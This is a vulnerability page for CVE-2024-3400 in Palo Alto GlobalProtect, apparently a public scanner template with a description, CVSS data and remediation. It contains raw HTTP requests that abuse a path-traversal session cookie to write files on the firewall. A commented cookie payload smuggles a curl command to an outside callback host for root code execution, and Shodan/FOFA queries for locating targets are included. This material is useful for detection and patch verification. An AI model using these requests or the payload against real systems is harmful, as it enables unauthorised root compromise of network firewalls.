CVE-2024-3400: GlobalProtect - OS Command Injection

2025-08-01 GlobalProtect PoC Public

Description

A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.

PoC

id: CVE-2024-3400

info:
  name: GlobalProtect - OS Command Injection
  author: salts,parthmalhotra
  severity: critical
  description: |
    A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
  impact: |
    Unauthenticated attackers can execute arbitrary code with root privileges on Palo Alto Networks PAN-OS firewalls.
  remediation: |
    Apply security patches for PAN-OS addressing CVE-2024-3400.
  reference:
    - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/
    - https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3400
    - https://github.com/zam89/CVE-2024-3400-pot
    - https://github.com/ZephrFish/CVE-2024-3400-Canary
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-3400
    cwe-id: CWE-20,CWE-77
    epss-score: 0.99999
    epss-percentile: 1
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paloaltonetworks
    product: "pan-os"
    shodan-query:
      - "http.favicon.hash:-631559155"
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: "icon_hash=\"-631559155\""
  tags: cve,cve2024,globalprotect,pan-os,rce,oast,kev,intrusive,paloaltonetworks,vkev,vuln

http:
  - raw:
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /ssl-vpn/hipreport.esp HTTP/1.1
        Host: {{Hostname}}
        Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
        Content-Type: application/x-www-form-urlencoded

        user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

      # Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`; payload for rce, requires cronjob to be executed to run command

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 404 && status_code_3 == 403
          - contains(body_2, 'invalid required input parameters')
        condition: and
# digest: 4a0a00473045022100ddc41a51983e70a1a9d5fa3fec147372065672a3864e81ccbac38f081bb3556b0220675a0c86d2db70f81fdd4364bb990b9b9a636fdf27ec9426fd1ec7d105907293:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities